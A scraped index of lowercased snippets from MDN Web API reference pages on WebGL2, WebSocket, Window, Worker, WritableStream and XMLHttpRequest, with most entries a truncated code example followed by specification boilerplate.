/ height 1, // depth 0, // border gl.rgba, // format gl.unsigned_byte, // type new uint8array([0xff, 0x00, 0x00, 0x00])); // data specifications specification status comment webgl 2.0the definition of 'teximage3d' in that specification.
WebGL2RenderingContext.texStorage2D() - Web APIs
examples gl.texstorage2d(gl.texture_2d, 1, gl.rgb8, 256, 256); specifications specification status comment webgl 2.0the definition of 'texstorage2d' in that specification.
WebGL2RenderingContext.texStorage3D() - Web APIs
examples gl.texstorage3d(gl.texture_3d, 1, gl.rgb8, 256, 256, 256); specifications specification status comment webgl 2.0the definition of 'texstorage3d' in that specification.
WebGL2RenderingContext.texSubImage3D() - Web APIs
examples gl.texsubimage3d(gl.texture_3d, 0, 0, 0, 0, image.width, image.height, 1, gl.rgba, gl.unsigned_byte, image); specifications specification status comment webgl 2.0the definition of 'texsubimage3d' in that specification.
WebGL2RenderingContext.transformFeedbackVaryings() - Web APIs
mples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); var transformfeedbackoutputs = ['gl_position', 'anotheroutput']; gl.transformfeedbackvaryings(shaderprog, transformfeedbackoutputs, gl.interleaved_attribs); gl.linkprogram(shaderprog); specifications specification status comment webgl 2.0the definition of 'transformfeedbackvaryings' in that specification.
WebGL2RenderingContext.uniform[1234][uif][v]() - Web APIs
specifications specification status comment webgl 2.0the definition of 'uniform' in that specification.
WebGL2RenderingContext.uniformBlockBinding() - Web APIs
examples gl.uniformblockbinding(program, 0, 1); specifications specification status comment webgl 2.0the definition of 'uniformblockbinding' in that specification.
WebGL2RenderingContext.vertexAttribDivisor() - Web APIs
examples gl.vertexattribdivisor(0, 2); specifications specification status comment webgl 2.0the definition of 'vertexattribdivisor' in that specification.
WebGL2RenderingContext.vertexAttribI4[u]i[v]() - Web APIs
examples gl.vertexattribi4i(a_foobar, 10); specifications specification status comment webgl 2.0the definition of 'vertexattribi' in that specification.
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
position = bones[boneindices.s] * vec4(position, 1.0) * boneweights.s + bones[boneindices.t] * vec4(position, 1.0) * boneweights.t + bones[boneindices.p] * vec4(position, 1.0) * boneweights.p + bones[boneindices.q] * vec4(position, 1.0) * boneweights.q; gl_position = mvmatrix * skinnedposition; } </script> specifications specification status comment webgl 2.0the definition of 'vertexattribipointer' in that specification.
WebGLQuery - Web APIs
var query = gl.createquery(); specifications specification status comment webgl 2.0the definition of 'webglquery' in that specification.
WebGLSampler - Web APIs
var sampler = gl.createsampler(); specifications specification status comment webgl 2.0the definition of 'webglsample' in that specification.
WebGLSync - Web APIs
WebAPIWebGLSync
var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); specifications specification status comment webgl 2.0the definition of 'webglsync' in that specification.
WebGLTransformFeedback - Web APIs
var transformfeedback = gl.createtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'webgltransformfeedback' in that specification.
WebGLVertexArrayObject - Web APIs
specifications specification status comment webgl 2.0the definition of 'webglvertexarrayobject' in that specification.
Boilerplate 1 - Web APIs
finally, all javascript code will run within an immediate function, which is a common javascript technique (see function).
Clearing with colors - Web APIs
by tweaking those "dials" and "switches" you can modify the internal state of the webgl machine, which in turn changes how input (in this case, a clear command) translates into output (in this case, all pixels are set to green).
Detect WebGL - Web APIs
the webgl rendering context is an interface, through which you can set and query the state of the graphics machine, send data to the webgl, and execute draw commands.
Hello vertex attributes - Web APIs
« previousnext » this webgl example demonstrates how to combine shader programming and user interaction by sending user input to the shader using vertex attributes.
Data in WebGL - Web APIs
WebAPIWebGL APIData
this is commonly used to share a vertex's normal vector after it has been computed by the vertex shader.
Adding 2D content to a WebGL context - Web APIs
.position); gl.vertexattribpointer( programinfo.attriblocations.vertexposition, numcomponents, type, normalize, stride, offset); gl.enablevertexattribarray( programinfo.attriblocations.vertexposition); } // tell webgl to use our program when drawing gl.useprogram(programinfo.program); // set the shader uniforms gl.uniformmatrix4fv( programinfo.uniformlocations.projectionmatrix, false, projectionmatrix); gl.uniformmatrix4fv( programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); { const offset = 0; const vertexcount = 4; gl.drawarrays(gl.triangle_strip, offset, vertexcount); } } the first step is to clear the canvas to our background color; th...
Animating textures in WebGL - Web APIs
instead, all it does is create an empty texture object, put a single pixel in it, and set its filtering for later use: function inittexture(gl) { const texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); // because video has to be download over the internet // they might take a moment until it's ready so // put a single pixel in the texture so we can // use it immediately.
High-level guides - Web APIs
webrtc (web real-time communications) is a broad, multi-component system for setting up and operating complex audio, video, and data channels across networks among two or more peers on the web.
Using DTMF with WebRTC - Web APIs
dialing once the connection is open our design requires that when the connection is established, we immediately send the dtmf string.
Improving compatibility using WebRTC adapter.js - Web APIs
note: since there is ongoing fluidity in functionality and naming of api terms in webrtc and supporting browsers, use of this adapter is generally recommended.
WebSocket() - Web APIs
specifications specification status comment html living standardthe definition of 'the websocket constructor' in that specification.
WebSocket.binaryType - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: binarytype' in that specification.
WebSocket.bufferedAmount - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: bufferedamount' in that specification.
WebSocket.close() - Web APIs
WebAPIWebSocketclose
specifications specification status comment html living standard the definition of 'websocket.close()' in that specification.
WebSocket.extensions - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: extensions' in that specification.
WebSocket.onclose - Web APIs
WebAPIWebSocketonclose
specifications specification status comment html living standardthe definition of 'websocket: onclose' in that specification.
WebSocket.onerror - Web APIs
WebAPIWebSocketonerror
example websocket.onerror = function(event) { console.error("websocket error observed:", event); }; specifications specification status comment html living standardthe definition of 'websocket: onerror' in that specification.
WebSocket.onmessage - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: onmessage' in that specification.
WebSocket.onopen - Web APIs
WebAPIWebSocketonopen
specifications specification status comment html living standardthe definition of 'websocket: onopen' in that specification.
WebSocket.protocol - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: protocol' in that specification.
WebSocket.send() - Web APIs
WebAPIWebSocketsend
specifications specification status comment html living standardthe definition of 'websocket: send' in that specification.
WebSocket.url - Web APIs
WebAPIWebSocketurl
specifications specification status comment html living standardthe definition of 'websocket: url' in that specification.
Writing a WebSocket server in Java - Web APIs
first steps websockets communicate over a tcp (transmission control protocol) connection.
Keyframe Formats - Web APIs
specifications specification status comment web animationsthe definition of 'keyframe object formats' in that specification.
Web Animations API Concepts - Web APIs
it is also a performant base on which to build a custom or commercial animation library.
Web Crypto API - Web APIs
specifications specification status comment web cryptography api recommendation initial definition ...
Web NFC API - Web APIs
specifications specification status comment web nfc draft ...
Web Storage API - Web APIs
specifications specification status comment html living standard living standard ...
WheelEvent() - Web APIs
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent()' in that specification.
WheelEvent.deltaMode - Web APIs
syntax var unit = event.deltamode; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltamode); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltamode' in that specification.
WheelEvent.deltaX - Web APIs
WebAPIWheelEventdeltaX
syntax var dx = event.deltax; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltax); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltax' in that specification.
WheelEvent.deltaY - Web APIs
WebAPIWheelEventdeltaY
syntax var dy = event.deltay; example var syntheticevent = new wheelevent("syntheticwheel", {"deltay": 4, "deltamode": 0}); console.log(syntheticevent.deltay); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltay' in that specification.
WheelEvent.deltaZ - Web APIs
WebAPIWheelEventdeltaZ
syntax var dz = event.deltaz; example var syntheticevent = new wheelevent("syntheticwheel", {"deltaz": 4, "deltamode": 0}); console.log(syntheticevent.deltaz); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltaz' in that specification.
WheelEvent - Web APIs
specifications specification status comment ui eventsthe definition of 'the wheelevent interface' in that specification.
Window: DOMContentLoaded event - Web APIs
it is a common mistake to use load where domcontentloaded would be more appropriate.
Window.alert() - Web APIs
WebAPIWindowalert
specification specification status comment html living standardthe definition of 'alert()' in that specification.
Window: animationcancel event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Window: animationend event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Window: animationiteration event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Window: animationstart event - Web APIs
specifications specification status comment css animations working draft initial definition ...
Window: blur event - Web APIs
WebAPIWindowblur event
click outside the document to lose focus.'; } const log = document.getelementbyid('log'); window.addeventlistener('blur', pause); window.addeventlistener('focus', play); result specifications specification status comment ui events working draft added info that this event is composed.
window.cancelAnimationFrame() - Web APIs
estamp - start; d.style.left = math.min(progress / 10, 200) + 'px'; if (progress < 2000) { // it's important to update the requestid each time you're calling requestanimationframe myreq = requestanimationframe(step); } } myreq = requestanimationframe(step); // the cancelation uses the last requestid cancelanimationframe(myreq); specifications specification status comment html living standardthe definition of 'cancelanimationframe()' in that specification.
Window.closed - Web APIs
WebAPIWindowclosed
const popupwindow = null; function refreshpopupwindow() { if (popupwindow && !popupwindow.closed) { // popupwindow is open, refresh it popupwindow.location.reload(true); } else { // open a new popup window popupwindow = window.open('popup.html', 'datawindow'); } } specification specification status comment html living standardthe definition of 'window.closed' in that specification.
Window.confirm() - Web APIs
WebAPIWindowconfirm
specification specification status comment html living standardthe definition of 'confirm()' in that specification.
Window.console - Web APIs
WebAPIWindowconsole
specifications specification status comment console api living standard initial definition.
Window.defaultStatus - Web APIs
summary gets/sets the status bar text for the given window.
Window.devicePixelRatio - Web APIs
m; height: 14em; border: 2px solid #22d; margin: 0 auto; padding: 0; background-color: #a9f; } .inner-container { padding: 1em 2em; text-align: justify; text-justify: auto; } .pixel-ratio { position: relative; margin: auto; height: 1.2em; text-align: right; bottom: 0; right: 1em; font-weight: bold; } result specifications specification status comment css object model (cssom) view modulethe definition of 'window.devicepixelratio' in that specification.
Window: deviceorientation event - Web APIs
bubbles no cancelable no interface deviceorientationevent event handler property window.ondeviceorientation examples if (window.deviceorientationevent) { window.addeventlistener("deviceorientation", function(event) { // alpha: rotation around z-axis var rotatedegrees = event.alpha; // gamma: left to right var lefttoright = event.gamma; // beta: front back motion var fronttoback = event.beta; handleorientationevent(fronttoback, lefttoright, rotatedegrees); }, true); } var handleorientationevent = function(fronttoback, lefttoright, rotatedegrees) { // do something amazing }; specifications specification status devi...
Window.directories - Web APIs
summary returned the window personalbar toolbar object.
Window.event - Web APIs
WebAPIWindowevent
specifications specification status comment domthe definition of 'window.event' in that specification.
Window.focus() - Web APIs
WebAPIWindowfocus
syntax window.focus() example if (clicked) { window.focus(); } specification specification status comment html living standardthe definition of 'window.focus()' in that specification.
Window: focus event - Web APIs
click outside the document to lose focus.'; } const log = document.getelementbyid('log'); window.addeventlistener('blur', pause); window.addeventlistener('focus', play); result specifications specification status comment ui events working draft added info that this event is composed.
Window.getAttention() - Web APIs
on linux, the behaviour varies from window manager to window manager - some flash the taskbar button, others focus the window immediately.
Window.getComputedStyle() - Web APIs
specifications specification status comment css object model (cssom)the definition of 'getcomputedstyle()' in that specification.
Window.getDefaultComputedStyle() - Web APIs
example simple example var elem1 = document.getelementbyid("elemid"); var style = window.getdefaultcomputedstyle(elem1); longer example <style> #elem-container { position: absolute; left: 100px; top: 200px; height: 100px; } </style> <div id="elem-container">dummy</div> <div id="output"></div> <script> var elem = document.getelementbyid("elem-container"); var thecssprop = window.getdefaultcomputedstyle(elem).position; document.getelementbyid("output").innerhtml = thecssprop; // will output "static" </script> use with pseudo-elements the getdefaultcomputedstyle() method can pull style info from pseudo-elements (e.g., ::before or ::after).
Window.getSelection() - Web APIs
specifications specification status comment selection apithe definition of 'window.getselection()' in that specification.
Window: hashchange event - Web APIs
stener method: window.addeventlistener('hashchange', function() { console.log('the hash has changed!') }, false); or use the onhashchange event handler property: function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; specifications specification status comment html living standardthe definition of 'hashchange' in that specification.
Window.innerHeight - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'window.innerheight' in that specification.
Window.innerWidth - Web APIs
WebAPIWindowinnerWidth
rwidth; // this will return the width of the frame viewport within a frameset var intframewidth = self.innerwidth; // this will return the width of the viewport of the closest frameset var intframesetwidth = parent.innerwidth; // this will return the width of the viewport of the outermost frameset var intouterframesetwidth = top.innerwidth; specification specification status comment css object model (cssom) view modulethe definition of 'window.innerwidth' in that specification.
Window.isSecureContext - Web APIs
}); } specifications specification status comment secure contexts candidate recommendation initial definition.
Window: load event - Web APIs
WebAPIWindowload event
nt) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; }); result specifications specification status comment ui eventsthe definition of 'load' in that specification.
Window.localStorage - Web APIs
specifications specification status comment html living standardthe definition of 'localstorage' in that specification.
Window.moveBy() - Web APIs
WebAPIWindowmoveBy
function budge() { moveby(10, -10); } specification specification status comment css object model (cssom) view modulethe definition of 'window.moveby()' in that specification.
Window.moveTo() - Web APIs
WebAPIWindowmoveTo
function origin() { window.moveto(0, 0); } specification specification status comment css object model (cssom) view modulethe definition of 'window.moveto()' in that specification.
Window.mozPaintCount - Web APIs
specification not part of any w3c technical specification or recommendation.
Window.navigator - Web APIs
WebAPIWindownavigator
.3359.181 chrome/66.0.3359.181 safari/537.36" } else if (susrag.indexof("safari") > -1) { sbrowser = "apple safari"; // "mozilla/5.0 (iphone; cpu iphone os 11_4 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/11.0 mobile/15e148 safari/604.1 980x1306" } else { sbrowser = "unknown"; } alert("you are using: " + sbrowser); specifications specification status comment html living standardthe definition of 'window: navigator' in that specification.
Window.onbeforeinstallprompt - Web APIs
window.addeventlistener("beforeinstallprompt", function(beforeinstallpromptevent) { beforeinstallpromptevent.preventdefault(); // prevents immediate prompt display // shows prompt after a user clicks an "install" button installbutton.addeventlistener("click", function(mouseevent) { // you should not use the mouseevent here, obviously beforeinstallpromptevent.prompt(); }); installbutton.hidden = false; // make button operable }); ...
Window.ondevicemotion - Web APIs
specifications specification status comment deviceorientation event specification editor's draft initial definition.
Window.ondeviceorientationabsolute - Web APIs
summary an event handler for the deviceorientationabsolute event containing information about an absolute device orientation change.
Window.ondragdrop - Web APIs
WebAPIWindowondragdrop
summary an event handler for drag and drop events sent to the window.
Window.ongamepadconnected - Web APIs
}; examples window.ongamepadconnected = function(event) { // all buttons and axes values can be accessed through event.gamepad; }; specifications specification status comment gamepadthe definition of 'gamepadconnected event' in that specification.
Window.ongamepaddisconnected - Web APIs
}; examples window.ongamepaddisconnected = function() { // a gamepad has been disconnected }; specifications specification status comment gamepadthe definition of 'gamepaddisconnected event' in that specification.
Window.opener - Web APIs
WebAPIWindowopener
specifications specification status comment html living standardthe definition of 'window.opener' in that specification.
Window.outerHeight - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'window.outerheight' in that specification.
Window.outerWidth - Web APIs
WebAPIWindowouterWidth
specification specification status comment css object model (cssom) view modulethe definition of 'window.outerwidth' in that specification.
Window.pageXOffset - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'window.pagexoffset' in that specification.
Window.pageYOffset - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'window.pageyoffset' in that specification.
Window.parent - Web APIs
WebAPIWindowparent
syntax var parentwindow = window.parent; example if (window.parent != window.top) { // we're deeper than one down } specifications specification status comment html living standardthe definition of 'window.parent' in that specification.
Window.pkcs11 - Web APIs
WebAPIWindowpkcs11
summary returns the pkcs11 object, which is used to install drivers and other software associated with the pkcs11 protocol.
Window.prompt() - Web APIs
WebAPIWindowprompt
const anumber = number(window.prompt("type a number", "")); specification specification status comment html living standardthe definition of 'prompt()' in that specification.
Window: rejectionhandled event - Web APIs
ctionevent event handler property onrejectionhandled example you can use the rejectionhandled event to log promises that get rejected to the console, along with the reasons why they were rejected: window.addeventlistener("rejectionhandled", event => { console.log("promise rejected; reason: " + event.reason); }, false); specifications specification status comment html living standardthe definition of 'rejectionhandled' in that specification.
Window.releaseEvents() - Web APIs
summary releases the window from trapping events of a specific type.
Window.requestFileSystem() - Web APIs
return value undefined example specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification.
Window.resizeBy() - Web APIs
WebAPIWindowresizeBy
specifications specification status comment css object model (cssom) view modulethe definition of 'window.resizeby()' in that specification.
Window.resizeTo() - Web APIs
WebAPIWindowresizeTo
function quarter() { window.resizeto( window.screen.availwidth / 2, window.screen.availheight / 2 ); } specification specification status comment css object model (cssom) view modulethe definition of 'window.resizeto()' in that specification.
Window.screen - Web APIs
WebAPIWindowscreen
syntax let screenobj = window.screen; example if (screen.pixeldepth < 8) { // use low-color version of page } else { // use regular, colorful page } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screen' in that specification.
Window.screenLeft - Web APIs
WebAPIWindowscreenLeft
if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screenleft' in that specification.
Window.screenTop - Web APIs
WebAPIWindowscreenTop
if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screentop' in that specification.
Window.screenX - Web APIs
WebAPIWindowscreenX
if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screenx' in that specification.
Window.screenY - Web APIs
WebAPIWindowscreenY
if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screeny' in that specification.
Window.scroll() - Web APIs
WebAPIWindowscroll
specification specification status comment css object model (cssom) view modulethe definition of 'window.scroll()' in that specification.
Window.scrollBy() - Web APIs
WebAPIWindowscrollBy
specification specification status comment css object model (cssom) view modulethe definition of 'window.scrollby()' in that specification.
Window.scrollTo() - Web APIs
WebAPIWindowscrollTo
specifications specification status comment css object model (cssom) view modulethe definition of 'window.scroll()' in that specification.
Window.scrollX - Web APIs
WebAPIWindowscrollX
window.pageyoffset : (document.documentelement || document.body.parentnode || document.body).scrolltop; specification specification status comment css object model (cssom) view modulethe definition of 'window.scrollx' in that specification.
Window.scrollY - Web APIs
WebAPIWindowscrollY
document.documentelement.scrolltop : document.body.scrolltop; specification specification status comment css object model (cssom) view modulethe definition of 'window.scrolly' in that specification.
Window.sessionStorage - Web APIs
specifications specification status comment html living standardthe definition of 'sessionstorage' in that specification.
Window.sidebar - Web APIs
WebAPIWindowsidebar
addsearchprovider(descriptionurl) dummy function; does nothing.
Window.speechSynthesis - Web APIs
vent.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesis' in that specification.
Window.status - Web APIs
WebAPIWindowstatus
syntax window.status = string; var value = window.status; specifications specification status comment html living standardthe definition of 'window.status' in that specification.
Window: transitioncancel event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitioncancel' in that specification.
Window: transitionend event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionend' in that specification.
Window: transitionrun event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionrun' in that specification.
Window: transitionstart event - Web APIs
specifications specification status comment css transitionsthe definition of 'transitionstart' in that specification.
Window: unhandledrejection event - Web APIs
// prevent the default handling (such as outputting the // error to the console) event.preventdefault(); }); specifications specification status comment html living standardthe definition of 'unhandledrejection' in that specification.
Window: unload event - Web APIs
specifications specification status comment ui eventsthe definition of 'unload' in that specification.
Window.visualViewport - Web APIs
specifications specification status comment visual viewport apithe definition of 'visualviewport' in that specification.
WindowClient.focus() - Web APIs
f it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'focus()' in that specification.
WindowClient.focused - Web APIs
ype: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if(!client.focused) return client.focus(); } } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'windowclient: focused' in that specification.
WindowClient.navigate() - Web APIs
specifications specification status comment service workersthe definition of 'navigate()' in that specification.
WindowClient.visibilityState - Web APIs
on(clientlist) { for (let i = 0; i < clientlist.length; i++) { let client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if (client.visibilitystate === 'hidden') return client.focus(); } } } if (clients.openwindow) { return clients.openwindow('/'); } })); }); specifications specification status comment service workersthe definition of 'visibilitystate' in that specification.
WindowClient - Web APIs
ituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { client.focus(); break; } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'windowclient' in that specification.
WindowEventHandlers.onafterprint - Web APIs
}; specification specification status comment html living standardthe definition of 'onafterprint' in that specification.
WindowEventHandlers.onbeforeprint - Web APIs
var mediaquerylist = window.matchmedia('print'); mediaquerylist.addlistener(function(mql) { if(mql.matches) { console.log('webkit equivalent of onbeforeprint'); } }); specification specification status comment html living standardthe definition of 'onbeforeprint' in that specification.
WindowEventHandlers.onlanguagechange - Web APIs
example window.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specifications specification status comment html living standardthe definition of 'windoweventhandler.onlanguagechange' in that specification.
WindowEventHandlers.onmessage - Web APIs
} specifications specification status comment html living standardthe definition of 'onmessage' in that specification.
WindowEventHandlers.onmessageerror - Web APIs
}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
WindowEventHandlers.onpopstate - Web APIs
specifications specification status comment html living standardthe definition of 'onpopstate' in that specification.
WindowEventHandlers.onrejectionhandled - Web APIs
}); window.onrejectionhandled = function(event) { ...}; example window.onrejectionhandled = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onrejectionhandled' in that specification.
WindowEventHandlers.onstorage - Web APIs
window.onstorage = function(e) { console.log('the ' + e.key + ' key has been changed from ' + e.oldvalue + ' to ' + e.newvalue + '.'); }; specifications specification status comment html living standardthe definition of 'onstorage' in that specification.
WindowEventHandlers.onunhandledrejection - Web APIs
window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onunhandledrejection' in that specification.
WindowOrWorkerGlobalScope.caches - Web APIs
'/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment service workersthe definition of 'caches' in that specification.
WindowOrWorkerGlobalScope.clearInterval() - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.clearinterval()' in that specification.
WindowOrWorkerGlobalScope.clearTimeout() - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.cleartimeout()' in that specification.
self.createImageBitmap() - Web APIs
sprites from the sprite sheet createimagebitmap(image, 0, 0, 32, 32), createimagebitmap(image, 32, 0, 32, 32) ]).then(function(sprites) { // draw each sprite onto the canvas ctx.drawimage(sprites[0], 0, 0); ctx.drawimage(sprites[1], 32, 32); }); } // load the sprite sheet from an image file image.src = 'sprites.png'; specifications specification status comment html living standardthe definition of 'createimagebitmap' in that specification.
WindowOrWorkerGlobalScope.crossOriginIsolated - Web APIs
syntax var mycrossoriginisolated = self.crossoriginisolated; // or just crossoriginisolated value a boolean value examples if(crossoriginisolated) { // post sharedarraybuffer } else { // do something else } specifications specification status comment html living standardthe definition of 'crossoriginisolated' in that specification.
WindowOrWorkerGlobalScope.origin - Web APIs
specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.origin' in that specification.
WindowProxy - Web APIs
specifications specification status comment html living standardthe definition of 'windowproxy' in that specification.
Worker() - Web APIs
WebAPIWorkerWorker
specifications specification status comment html living standardthe definition of 'worker()' in that specification.
Worker.onmessage - Web APIs
WebAPIWorkeronmessage
specifications specification status comment html living standardthe definition of 'worker.onmessage' in that specification.
Worker.onmessageerror - Web APIs
}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
Worker.prototype.postMessage() - Web APIs
to see a full working example of this firefox demo add-on see here: github :: chromeworker - demo-transfer-arraybuffer specifications specification status comment html living standardthe definition of 'worker.postmessage()' in that specification.
WorkerGlobalScope.dump() - Web APIs
example to write an output from your worker to your computer's terminal, you first have to run an instance of firefox started from your command line/terminal.
WorkerGlobalScope.location - Web APIs
specifications specification status comment html living standardthe definition of 'location' in that specification.
WorkerGlobalScope.navigator - Web APIs
specifications specification status comment html living standardthe definition of 'navigator' in that specification.
WorkerGlobalScope.onclose - Web APIs
summary the onclose property of the workerglobalscope interface represents an eventhandler to be called when the close event occurs and bubbles through the worker.
WorkerGlobalScope.onerror - Web APIs
}; example the following code snippet shows an onerror handler set inside a worker: self.onerror = function() { console.log('there is an error inside your worker!'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onerror' in that specification.
WorkerGlobalScope.onlanguagechange - Web APIs
}; example the following code snippet shows an onlanguagechange handler set inside a worker: self.onlanguagechange = function() { console.log('your preferred language settings have been changed'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onlanguagechange' in that specification.
WorkerGlobalScope.onoffline - Web APIs
}; example the following code snippet shows an onoffline handler set inside a worker: self.onoffline = function() { console.log('your worker is now offline'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.onoffline' in that specification.
WorkerGlobalScope.ononline - Web APIs
}; example the following code snippet shows an ononline handler set inside a worker: self.ononline = function() { console.log('your worker is now online'); } specifications specification status comment html living standardthe definition of 'workerglobalscope.ononline' in that specification.
WorkerGlobalScope.self - Web APIs
specifications specification status comment html living standardthe definition of 'self' in that specification.
WorkerLocation - Web APIs
specifications specification status comment html living standardthe definition of 'workerlocation' in that specification.
WorkerNavigator.connection - Web APIs
syntax connectioninfo = self.navigator.connection specifications specification status comment network information apithe definition of 'navigator.connection' in that specification.
WorkerNavigator.locks - Web APIs
specifications specification status comment web locks apithe definition of 'locks' in that specification.
WorkerNavigator.permissions - Web APIs
examples self.navigator.permissions.query({name:'notifications'}).then(function(result) { if (result.state === 'granted') { shownotification(); } else if (result.state === 'prompt') { requestnotificationpermission() } }); specification specification status comment permissions working draft initial definition.
WorkerNavigator - Web APIs
specifications specification status comment html living standardthe definition of 'workernavigator' in that specification.
Worklet.addModule() - Web APIs
WebAPIWorkletaddModule
ample css.paintworklet.addmodule('https://mdn.github.io/houdini-examples/csspaint/intro/worklets/hilite.js'); once a paintworklet is included, the css paint() function can be used to include the image created by the worklet: @supports (background-image: paint(id)) { h1 { background-image: paint(hollowhighlights, filled, 3px); } } specifications specification status comment worklets level 1the definition of 'addmodule()' in that specification.
WritableStream.getWriter() - Web APIs
specifications specification status comment streamsthe definition of 'getwriter()' in that specification.
WritableStream.locked - Web APIs
const writer = writablestream.getwriter(); writablestream.locked // should return true, as the stream has been locked to a writer specifications specification status comment streamsthe definition of 'locked' in that specification.
WritableStreamDefaultController.error() - Web APIs
} }); specifications specification status comment streamsthe definition of 'error()' in that specification.
WritableStreamDefaultController - Web APIs
} }); specifications specification status comment streamsthe definition of 'writablestreamdefaultcontroller' in that specification.
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
specifications specification status comment streamsthe definition of 'writablestreamdefaultwriter()' in that specification.
WritableStreamDefaultWriter.close() - Web APIs
specifications specification status comment streamsthe definition of 'close()' in that specification.
WritableStreamDefaultWriter.closed - Web APIs
// check if the stream is closed writer.closed.then(() => { console.log('writer closed'); }) specifications specification status comment streamsthe definition of 'closed' in that specification.
WritableStreamDefaultWriter.desiredSize - Web APIs
// return stream's desired size let size = writer.desiredsize; specifications specification status comment streamsthe definition of 'desiredsize' in that specification.
WritableStreamDefaultWriter.ready - Web APIs
defaultwriter.ready .then(function() { defaultwriter.close() .then(function() { console.log("all chunks written"); }) .catch(function(err) { console.log("stream error: " + err); }); }); }); } specifications specification status comment streamsthe definition of 'ready' in that specification.
WritableStreamDefaultWriter.releaseLock() - Web APIs
// release writer's lock on the stream when desired writer.releaselock(); specifications specification status comment streamsthe definition of 'releaselock()' in that specification.
WritableStreamDefaultWriter.write() - Web APIs
specifications specification status comment streamsthe definition of 'write()' in that specification.
XMLDocument - Web APIs
specifications specification status comment domthe definition of 'xmldocument' in that specification.
HTML in XMLHttpRequest - Web APIs
specifications specification status comment xmlhttprequest living standard initial definition ...
XMLHttpRequest.abort() - Web APIs
var xhr = new xmlhttprequest(), method = "get", url = "https://developer.mozilla.org/"; xhr.open(method, url, true); xhr.send(); if (oh_noes_we_need_to_cancel_right_now_or_else) { xhr.abort(); } specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest: abort event - Web APIs
